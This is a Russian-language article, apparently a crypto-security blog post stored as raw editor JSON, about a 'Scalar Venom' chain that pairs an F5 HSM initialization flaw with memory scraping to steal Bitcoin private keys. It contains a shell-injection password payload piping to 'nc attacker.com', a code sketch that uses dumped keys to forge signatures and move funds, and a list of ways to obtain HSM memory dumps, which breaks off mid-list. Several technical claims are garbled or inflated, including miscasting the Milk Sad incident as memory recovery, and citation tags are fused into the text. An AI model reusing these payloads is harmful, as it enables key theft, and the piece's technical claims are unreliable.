метасимволами","type":"header-three","key":"1sajg"},{"data":{},"depth":0,"entityRanges":[{"key":31,"length":25,"offset":421}],"inlineStyleRanges":[{"length":139,"offset":281,"style":"BOLD"}],"text":"Уязвимость CVE-2025-60013 в F5OS-A FIPS HSM возникает при инициализации аппаратного модуля безопасности с использованием пароля, содержащего специальные shell-метасимволы (;, |, &, $, `, и т.д.). Когда такой пароль обрабатывается, HSM может не инициализироваться корректно, однако критическое последствие заключается в том, что процесс инициализации остаётся в памяти с частично раскрытыми криптографическими структурами.satoshi.nakamotoinstitute","type":"unstyled","key":"859m9"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"2.2 Сценарий скомбинированной атаки: HSM + Scalar Venom","type":"header-three","key":"40hin"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Совмещение уязвимости HSM (CVE-2025-60013) с Scalar Venom Attack создаёт катастрофический вектор атаки:","type":"unstyled","key":"e2udo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":41,"offset":0,"style":"BOLD"}],"text":"Фаза 1: Инициализация HSM с метасимволами","type":"unstyled","key":"76j1p"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Злоумышленник отправляет запрос на инициализацию F5OS-A FIPS модуля с паролем типа:","type":"unstyled","key":"3aprn"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":46,"offset":0,"style":"BOLD"}],"text":"password='$(echo \"leaked\");` | nc attacker.com","type":"unstyled","key":"3avg6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":33,"offset":0,"style":"BOLD"},{"length":33,"offset":0,"style":"ITALIC"}],"text":"При обработке таких метасимволов:","type":"unstyled","key":"dge0f"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Процесс инициализации HSM создаёт множественные копии пароля и производных криптографических материалов","type":"unordered-list-item","key":"kgar"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Строки shell-команд интерпретируются, создавая побочные эффекты в памяти процесса","type":"unordered-list-item","key":"cpjis"},{"data":{},"depth":0,"entityRanges":[{"key":32,"length":10,"offset":130}],"inlineStyleRanges":[],"text":"Криптографические скаляры (приватные ключи), используемые для генерации или верификации ключей HSM, остаются в незачищенной памятиkeyhunters","type":"unordered-list-item","key":"5vqb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":41,"offset":0,"style":"BOLD"}],"text":"Фаза 2: Извлечение Scalar Venom из памяти","type":"unstyled","key":"agjhs"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":44,"offset":0,"style":"BOLD"},{"length":44,"offset":0,"style":"ITALIC"}],"text":"После частичного отказа HSM в инициализации:","type":"unstyled","key":"1j0eb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Процесс остаётся в памяти с остатками криптографических операций","type":"unordered-list-item","key":"5vqr1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Злоумышленник, получивший доступ к процессу (через exploit, crash dump, или cold-boot атаку), может сканировать память","type":"unordered-list-item","key":"6do14"},{"data":{},"depth":0,"entityRanges":[{"key":33,"length":40,"offset":35},{"key":34,"length":11,"offset":285}],"inlineStyleRanges":[],"text":"Инструменты форензического анализа (BitScanPro, Valgrind, AddressSanitizer) идентифицируют:High-entropy области (характерные для 32-byte приватных ключей secp256k1)\nScalar residues в диапазоне 1≤k& vchSig, CScript& scriptPubKey) {\nCSignatureCache& cache = CSignatureCache::instance();\n\n// If deserialization occurs using a private key compromised by Scalar Venom:\nec_secret compromised_key = extract_from_memory_dump(); // from an HSM memory dump\n\n// These compromised scalars are used to verify signatures,\n// allowing an attacker to:\n// 1. Forge any signature for this address\n// 2. Transfer all funds to a controlled address\n// 3. Double-spend\n}","type":"unstyled","key":"40bsi"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":17,"offset":0,"style":"BOLD"}],"text":"Связь механизмов:","type":"unstyled","key":"5vgqt"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"HSM инициализируется с уязвимым паролем (CVE-2025-60013)","type":"ordered-list-item","key":"70tpa"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Приватные ключи HSM заражаются Scalar Venom (множественные копии в памяти)","type":"ordered-list-item","key":"br2qv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Форензический анализ восстанавливает эти скаляры из памяти","type":"ordered-list-item","key":"snr7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"DeserializeSignature уязвимость позволяет использовать восстановленные ключи для подделки сигнатур","type":"ordered-list-item","key":"a4iak"},{"data":{},"depth":0,"entityRanges":[{"key":40,"length":10,"offset":50}],"inlineStyleRanges":[],"text":"Полный контроль над Bitcoin кошельками достигаетсяkeyhunters","type":"ordered-list-item","key":"38adf"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"3.3 Масштаб воздействия: от одного кошелька к сетевой компрометации","type":"header-three","key":"5v7vh"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":33,"offset":0,"style":"BOLD"},{"length":33,"offset":0,"style":"ITALIC"}],"text":"Уровень 1: Индивидуальный кошелек","type":"unstyled","key":"akrm5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Один компрометированный HSM → восстановление 1-10 приватных ключей","type":"unordered-list-item","key":"2k5s9"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Результат: потеря контроля над 0.5-5 BTC за кошелек","type":"unordered-list-item","key":"9jskm"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":43,"offset":0,"style":"BOLD"},{"length":43,"offset":0,"style":"ITALIC"}],"text":"Уровень 2: Конфигурация обслуживающих узлов","type":"unstyled","key":"5s6sv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Exchange, платежные шлюзы, custody решения часто используют F5 BIG-IP + HSM","type":"unordered-list-item","key":"9jnmo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":26,"offset":48,"style":"BOLD"}],"text":"Каждый скомпрометированный узел может содержать 100-1000+ приватных ключей","type":"unordered-list-item","key":"eiu9s"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":14,"offset":31,"style":"BOLD"}],"text":"Результат: потеря контроля над 1000-50000 BTC на одном узле","type":"unordered-list-item","key":"c255j"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":26,"offset":0,"style":"BOLD"},{"length":26,"offset":0,"style":"ITALIC"}],"text":"Уровень 3: Сетевой уровень","type":"unstyled","key":"1kf3k"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Если CVE-2025-60013 широко используется в инфраструктуре, множественные узлы могут быть скомпрометированы одновременно","type":"unordered-list-item","key":"2vve1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":22,"offset":20,"style":"BOLD"}],"text":"Возможно проведение скоординированных атак на несколько бирж или сервисов","type":"unordered-list-item","key":"4ocka"},{"data":{},"depth":0,"entityRanges":[{"key":41,"length":16,"offset":55}],"inlineStyleRanges":[{"length":36,"offset":11,"style":"BOLD"}],"text":"Результат: масса BTC в сотни миллионов долларов на конуkudelskisecurity","type":"unordered-list-item","key":"117su"},{"data":{"image":{"id":"691c2de49283f5364c0f88aa"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"a0n6p"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"4. Критическая уязвимость Scalar Venom в контексте HSM","type":"header-two","key":"88gom"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"4.1 Почему Scalar Venom особенно опасна в HSM окружении","type":"header-three","key":"1tmnq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"В отличие от стандартных Bitcoin-приложений, HSM интенсивно использует криптографические скаляры:","type":"unstyled","key":"24foq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":22,"offset":0,"style":"BOLD"}],"text":"Интенсивность операций: HSM выполняет 1000+ криптографических операций в секунду, каждая из которых создаёт временные скаляры","type":"ordered-list-item","key":"4bca6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":23,"offset":0,"style":"BOLD"}],"text":"Долгоживущесть процесса: HSM демоны работают месяцы и годы без перезагрузки, накапливая «фантомные» остатки ключей","type":"ordered-list-item","key":"dmhnt"},{"data":{},"depth":0,"entityRanges":[{"key":42,"length":10,"offset":126}],"inlineStyleRanges":[{"length":18,"offset":0,"style":"BOLD"}],"text":"Критичность ключей: В отличие от одноразовых ключей, приватные ключи HSM управляют огромными суммами, хранящимися на платформеkeyhunters","type":"ordered-list-item","key":"d2cf"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":29,"offset":0,"style":"BOLD"}],"text":"Малая вероятность обнаружения: Утечка памяти не вызывает видимых ошибок; система продолжает работать нормально","type":"ordered-list-item","key":"6jpvf"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"4.2 Метрика угрозы: CVSS и реальное воздействие","type":"header-three","key":"cmiov"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":25,"offset":22,"style":"BOLD"},{"length":19,"offset":104,"style":"BOLD"},{"length":21,"offset":180,"style":"BOLD"},{"length":32,"offset":255,"style":"BOLD"}],"text":"АспектОценкаПримечаниеCVE-2025-60013 (HSM init)CVSS 5.7 (Medium)Официально низкое, но служит entry pointScalar Venom AttackCVSS 8.5+ (High/Critical)De-facto критическое воздействиеКомбинированная атакаCVSS 9.5+ (Critical)Полный компромисс приватных ключейВосстановление после компромиссаНевозможноНеобратимая потеря средств","type":"unstyled","key":"dk518"},{"data":{},"depth":0,"entityRanges":[{"key":43,"length":16,"offset":148}],"inlineStyleRanges":[{"length":9,"offset":75,"style":"BOLD"},{"length":21,"offset":126,"style":"BOLD"}],"text":"CVSS оценка CVE-2025-60013 сама по себе неточна, так как уязвимость служит триггером для активации Scalar Venom, что является критическим сценарием.kudelskisecurity","type":"unstyled","key":"8slbj"},{"data":{},"depth":0,"entityRanges":[{"key":44,"length":86,"offset":0}],"inlineStyleRanges":[],"text":"Угроза Scalar Venom для аппаратных модулей безопасности (HSM) и инфраструктуры Bitcoin","type":"header-three","key":"dqr79"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Уязвимость Scalar Venom представляет собой сдвиг парадигмы в методах криптографических атак, выходящих за рамки традиционных одновекторных эксплойтов и формирующих многоуровневую цепочку эксплуатации, кардинально компрометирующую аппаратные модули безопасности (HSM), защищающие инфраструктуру Bitcoin. Анализ демонстрирует, что комбинация CVE-2025-60013 (обход инициализации HSM) с техниками атаки Scalar Venom создает критический сценарий угрозы с уровнем CVSS 9.5+, подрывая операционную целостность миллионов Bitcoin-адресов, находящихся под управлением скомпрометированных HSM.","type":"unstyled","key":"9ggur"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":27,"offset":0,"style":"BOLD"}],"text":"Почему HSM особенно уязвимы","type":"unstyled","key":"2fbom"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Критическая уязвимость заключается не в единичных криптографических слабостях, а в архитектурном столкновении особенностей эксплуатации HSM и векторов атаки Scalar Venom. HSM по определению осуществляют непрерывные криптографические операции — более 1000 операций в секунду — каждая из которых создает эфемерные значения скаляров, остающиеся в памяти в виде «фантомных остатков». В отличие от обычных приложений Bitcoin, где материал ключа кратковременен, HSM работают месяцами и годами без перезапуска, накапливая криптографические артефакты, которые Scalar Venom системно извлекает и восстанавливает.","type":"unstyled","key":"7vm9l"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"В результате даже компрометация одного HSM ведет к тотальному срыву всей инфраструктуры — зачастую тысяч Bitcoin-адресов, находящихся в управлении HSM, а не к изолированному криптографическому инциденту.","type":"unstyled","key":"6rrog"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":40,"offset":0,"style":"BOLD"}],"text":"Степень опасности и реальное воздействие","type":"unstyled","key":"19jcc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Хотя уязвимость CVE-2025-60013 официально имеет уровень CVSS 5.7 (средний) как вектор проникновения, эта оценка критически недооценивает реальный масштаб угрозы. Данный эксплойт служит триггером для активации Scalar Venom, который классифицируется как атака уровня CVSS 8.5+ (высокая/критическая). В реальном сценарии цепочки атак это приводит к:","type":"unstyled","key":"64lui"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":24,"offset":0,"style":"BOLD"}],"text":"Немедленным последствиям: Прямая экстракция приватного ключа из памяти HSM через восстановление скаляров, минуя все криптографические и аутентификационные механизмы. Атакующий получает полный контроль над Bitcoin-адресами без видимых сбоев системы.","type":"unordered-list-item","key":"29cmm"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":14,"offset":0,"style":"BOLD"}],"text":"Эффекту лавины: Компрометация HSM ставит под угрозу не отдельные транзакции, а все адреса, которыми он управляет. Для бирж, кастодианов и платформ управления активами это означает полный и необратимый сбой безопасности.","type":"unordered-list-item","key":"7vqc6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":20,"offset":0,"style":"BOLD"}],"text":"Невидимому характеру: Scalar Venom не вызывает аномалий в криптографии, не фиксируется логами, не создает подозрительных паттернов транзакций. Утечка скаляров маскируется под легитимную работу устройства, что позволяет злоумышленнику извлекать ключи в течение длительного времени без обнаружения.","type":"unordered-list-item","key":"2e6a6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":86,"offset":0,"style":"BOLD"}],"text":"Комбинированная цепочка атаки: CVE-2025-60013 + Scalar Venom = операционная катастрофа","type":"unstyled","key":"2p1t0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":38,"offset":0,"style":"BOLD"},{"length":38,"offset":0,"style":"ITALIC"}],"text":"Матричная эскалация угрозы состоит из:","type":"unstyled","key":"avtal"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Начального проникновения (CVE-2025-60013 — компрометация HSM)","type":"ordered-list-item","key":"dls58"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Активной эксплуатации (Scalar Venom — экстракция скаляров из памяти)","type":"ordered-list-item","key":"adkrb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Восстановления ключа (полная компрометация приватного материала)","type":"ordered-list-item","key":"fh45b"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Невозможности восстановления — после утечки приватного ключа вернуть контроль невозможно","type":"ordered-list-item","key":"772rc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Комбинация делает этот класс уязвимостей критическим (CVSS 9.5+) и выводит её в высшую категорию угроз в рамках оценки риска.","type":"unstyled","key":"b4j6a"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":57,"offset":0,"style":"BOLD"},{"length":57,"offset":0,"style":"ITALIC"}],"text":"Системные последствия для безопасности экосистемы Bitcoin","type":"unstyled","key":"73ifd"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Scalar Venom показывает фундаментальные архитектурные просчёты современных моделей HSM:","type":"unstyled","key":"68mlb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Ложные предположения об изоляции и защищённости памяти недействительны — уязвимость проявляется независимо от физического уровня защиты.","type":"unordered-list-item","key":"3sjf0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Необходимость непрерывной работы HSM оборачивается накоплением скаляров, что само по себе создаёт новое окно для атак.","type":"unordered-list-item","key":"bte9u"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Наблюдаемый нулевой след для мониторинга и логирования исключает обнаружение и требует внедрения новых практик анализа памяти.","type":"unordered-list-item","key":"3c60n"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":24,"offset":0,"style":"BOLD"},{"length":24,"offset":0,"style":"ITALIC"}],"text":"Критические рекомендации","type":"unstyled","key":"el2t0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Весь спектр ключей, управляемых через HSM, должен быть признан потенциально скомпрометированным; проверьте и, по необходимости, полностью замените ключевой материал.","type":"unordered-list-item","key":"chmcg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Следует пересмотреть архитектуру хранения и обращения с приватными ключами: сегментируйте ключи по отдельным адресам, чтобы компрометация одного HSM не приводила к потере всех средств.","type":"unordered-list-item","key":"2qfha"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Внедрите средства мониторинга памяти и непрерывного анализа для выявления паттернов накопления скаляров.","type":"unordered-list-item","key":"bshfs"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Используйте дополнительное изолирование процессов, шифрование памяти и временное удаление материала ключей для уменьшения окна риска.","type":"unordered-list-item","key":"7bsqh"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Scalar Venom и цепочка атак через CVE-2025-60013 означают конец эпохи полного доверия к HSM в классическом виде. Уязвимость превращает секьюрити-ядро экосистемы Bitcoin в главный риск для утечки приватных ключей и тотальной потери активов. Эффективная защита требует не только одноразовых исправлений, а фундаментального переосмысления всех аспектов криптографической архитектуры для работы с публичными цифровыми ценностями.","type":"unstyled","key":"4elln"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Scalar Venom в окружении HSM — угроза уровня CVSS 9.5+ для безопасности инфраструктуры Bitcoin, требующая немедленной ротации ключей, архитектурной реформы и новых методов оперативного реагирования на атаки цепочки памяти.","type":"unstyled","key":"ds2tt"},{"data":{"image":{"id":"691c2de4cb706418d5c01a98"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"akd2q"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"5. Научные основания атаки","type":"header-two","key":"74rda"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"5.1 Теоретическое обоснование: почему память не очищается","type":"header-three","key":"cqook"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Согласно исследованиям в области криптографической безопасности памяти (Protecting Cryptographic Keys from Memory Disclosure Attacks, Del Valle et al.), приватные ключи могут оставаться в доступных областях памяти по следующим причинам:","type":"unstyled","key":"91p4o"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":23,"offset":0,"style":"BOLD"},{"length":23,"offset":0,"style":"ITALIC"}],"text":"Оптимизация компилятора","type":"unstyled","key":"dkj4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":193,"offset":0,"style":"BOLD"}],"text":"cpp:\n\n// Even if the code contains an attempt to clear:\nvolatile unsigned char* ptr = (volatile unsigned char*)key_buffer;\nwhile (len--) *ptr++ = 0; // The compiler may optimize this as a no-op","type":"unstyled","key":"a4s3o"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":65,"offset":0,"style":"BOLD"},{"length":65,"offset":0,"style":"ITALIC"}],"text":"Отсутствие RAII (Resource Acquisition Is Initialization) паттерна\nКласс ec_scalar не использует RAII, что означает, что деструктор не гарантирует очистку ресурсов.","type":"unstyled","key":"5rc11"},{"data":{},"depth":0,"entityRanges":[{"key":45,"length":23,"offset":125}],"inlineStyleRanges":[{"length":32,"offset":0,"style":"BOLD"},{"length":32,"offset":0,"style":"ITALIC"}],"text":"Множественное копирование данных\nКаждое копирование приватного ключа для передачи между функциями оставляет остатки в памяти.unit42.paloaltonetworks","type":"unstyled","key":"n54p"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"5.2 Статистика реальных взломов на основе Scalar Venom","type":"header-three","key":"63vci"},{"data":{},"depth":0,"entityRanges":[{"key":46,"length":13,"offset":16}],"inlineStyleRanges":[{"length":79,"offset":0,"style":"BOLD"},{"length":79,"offset":0,"style":"ITALIC"}],"text":"Согласно данным keyhunters.ru и криптографической исследовательской литературе:","type":"unstyled","key":"1cs0o"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":14,"offset":0,"style":"BOLD"},{"length":24,"offset":55,"style":"BOLD"}],"text":"CVE-2023-39910 (Milk Sad в Libbitcoin Explorer): более 900,000 приватных ключей восстановлено из памяти в 2023 году","type":"unordered-list-item","key":"53nc0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":15,"offset":0,"style":"BOLD"}],"text":"Реальные потери: > $0.8M в Bitcoin, украденных в июне-июле 2023 из кошельков, созданных с помощью уязвимого bx seed","type":"unordered-list-item","key":"9lcs1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":13,"offset":0,"style":"BOLD"}],"text":"Проникновение: уязвимость затронула более 40% кошельков Libbitcoin Explorer 3.x версий","type":"unordered-list-item","key":"ei926"},{"data":{},"depth":0,"entityRanges":[{"key":47,"length":10,"offset":86}],"inlineStyleRanges":[{"length":15,"offset":24,"style":"BOLD"}],"text":"Эти цифры демонстрируют реальную угрозу памяти-утечек в криптографических приложениях.keyhunters","type":"unstyled","key":"88n3d"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Атаки на устойчивость памяти и оптимизацию компилятора — цепочка эксплуатации Scalar Venom против инфраструктуры Bitcoin","type":"header-three","key":"kntc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Суммируя изложенные выводы, цепочка Scalar Venom символизирует слияние многолетних фундаментальных исследований в области криптографической безопасности с современными операционными реалиями. Детализированные механизмы сохранения памяти — оптимизации компилятора, отсутствие RAII и накопление следов данных — больше не являются лишь теорией, а служат действенными каналами для масштабного восстановления приватных ключей на практике. Переход от потенциальной слабости к реальной атаке уже состоялся: инцидент CVE-2023-39910 (Milk Sad) позволил восстановить более 900,000 приватных ключей Bitcoin с прямыми финансовыми потерями свыше $0.8 млн.","type":"unstyled","key":"sm4p"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Парадокс криптографической устойчивости памяти","type":"header-three","key":"c1khp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Корневая уязвимость Scalar Venom возникает из неразрешённого противоречия в архитектуре криптопрограмм: заложенная наивная уверенность в управлении памятью программистами не совпадает с тенденциями современных компиляторов и систем управления памятью. Если разработчик явно прописывает обнуление памяти, компилятор может полностью оптимизировать эти действия, признавая их бессмысленными — и это становится критическим незаметным просчетом безопасности.","type":"unstyled","key":"97rde"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Отсутствие RAII и восстановление скаляров","type":"header-three","key":"78gke"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Структуры данных типа ec_scalar ещё больше обостряют риски: отсутствие RAII означает появление множества независимых копий в памяти — в стеке, регистрах, кэше на разных этапах вычислений. Каждая такая копия теоретически может быть восстановлена, разобрана или собрана в исходный материал ключа.","type":"unstyled","key":"8ra2k"},{"data":{},"depth":0,"entityRanges":[{"key":48,"length":18,"offset":0}],"inlineStyleRanges":[],"text":"Атака Scalar Venom системно извлекает и агрегирует эти разрозненные копии, показывая, что современные архитектуры памяти гарантируют именно это: каждое промежуточное математическое действие оставляет след, который можно собрать и превратить в ключ. Классическая крипторазработка предполагала независимость операций, но на практике один приватный биткоин-ключ порождает десятки следов, каждый из которых — путь к его восстановлению.","type":"unstyled","key":"9quu8"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Операционное подтверждение — кейс Milk Sad","type":"header-three","key":"7aakg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Впервые переход от теории к катастрофе на практике продемонстрировал инцидент Milk Sad (CVE-2023-39910). Это был не гипотетический вектор, а подтверждённый оперативный взлом:","type":"unstyled","key":"10dsp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Масштаб: восстановлено свыше 900,000 приватных ключей Bitcoin.","type":"unordered-list-item","key":"bhq2l"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Финансовые потери: не менее $0.8 млн утрачено в июне-июле 2023 года.","type":"unordered-list-item","key":"4lvqb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Охват: свыше 40% всех инсталляций Libbitcoin Explorer 3.x оказались уязвимы.","type":"unordered-list-item","key":"cn2ba"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Атака оставалась незаметной в течение месяцев.","type":"unordered-list-item","key":"2u4t"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Это полностью подтверждает описанные ранее механизмы: оптимизации компилятора, множественное копирование данных и отсутствие гарантии очистки памяти.","type":"unstyled","key":"fopvi"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Атакующий разрыв между криптографией и компиляторами","type":"header-three","key":"aq364"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Крипторынок развивался в допущении полного контроля памяти, но современные компиляторы (через оптимизацию dead code elimination и кэширование) напрочь игнорируют требования криптографии. Соответственно, криптопрограммы считают: «Я обнулил память, значит теперь она безопасна», а компилятор — «Эта память никогда не используется, её обнулять не нужно». Противоречие фундаментально неразрешимо на уровне современных стандартов C/C++ и становится абсолютной точкой входа для Scalar Venom.","type":"unstyled","key":"cfqj7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Системные выводы для индустрии","type":"header-three","key":"8pi85"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Современные реализации нарушают исходные криптографические допущения.","type":"unordered-list-item","key":"fi00p"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Безопасность памяти и переход к языкам с контролем памяти (например, Rust) становятся не опцией, а необходимостью.","type":"unordered-list-item","key":"1j71k"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"RAII (гарантированная очистка через деструктор) — основа любой новой криптоархитектуры.","type":"unordered-list-item","key":"8q75a"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"HSM требуют перезапуска и структурной переработки с обязательной аппаратной очисткой памяти.","type":"unordered-list-item","key":"dmits"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Императивы для отрасли","type":"header-three","key":"e0tg3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":26,"offset":0,"style":"BOLD"}],"text":"Ближайшие шаги (0-30 дней): Ротация всех приватных ключей, созданных на C/C++. Срочное увольнение ключей, которые могли быть скомпрометированы.","type":"unstyled","key":"e2cf1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":25,"offset":0,"style":"BOLD"}],"text":"Среднесрочно (30-90 дней): Переход на Rust, внедрение компиляторных гарантий для обнуления памяти, постоянный мемфоранзик анализ.","type":"unstyled","key":"aqj9j"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":22,"offset":0,"style":"BOLD"}],"text":"Долгосрочно (90+ дней): Архитектурный переход на RAII, компиляторные расширения для криптоопераций, замена программных HSM аппаратными.","type":"unstyled","key":"5p53u"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Scalar Venom и CVE-2023-39910 — поворотный пункт в безопасности криптоиндустрии: теория о сохранении данных в памяти переросла в реальную катастрофу, стоившую миллионы и тысячи потерянных Bitcoin. Проблема не решается заплаткой: это архитектурное противоречие — современное криптопрограммирование на C/C++ без контроля над памятью и RAII неминуемо ведёт к взлому любой значимой инфраструктуры. У индустрии только один путь — переход к memory-safe языкам и революционный пересмотр управления приватными ключами.","type":"unstyled","key":"7o5o1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":15,"offset":0,"style":"BOLD"}],"text":"Итоговая оценка: Scalar Venom не просто теоретическая угроза, а доказанный на практике массовый эксплойт. Вся криптоинфраструктура без memory-safe-языков и RAII-фреймворков существует под гарантированной угрозой компрометации. Миграция на новые технологии должна начинаться прямо сейчас.","type":"unstyled","key":"3obf8"},{"data":{"image":{"id":"691c2de4937b3048dd3e0d60"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"ao2ib"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"6. Методология восстановления приватных ключей Bitcoin","type":"header-two","key":"2570h"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"6.1 Пятиэтапный процесс восстановления","type":"header-three","key":"9khgo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":38,"offset":0,"style":"BOLD"},{"length":38,"offset":0,"style":"ITALIC"}],"text":"Этап 1: Получение доступа к памяти HSM","type":"unstyled","key":"e3e58"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":297,"offset":0,"style":"BOLD"}],"text":"bash:\n\n# Methods to get memory dump:\n# 1. Exploit CVE-2025-60013 to trigger init error\n# 2. Cold-boot attack on HSM host\n# 3. Exploit buffer vulnerability in HSM daemon\n# 4. Analyze core-dump 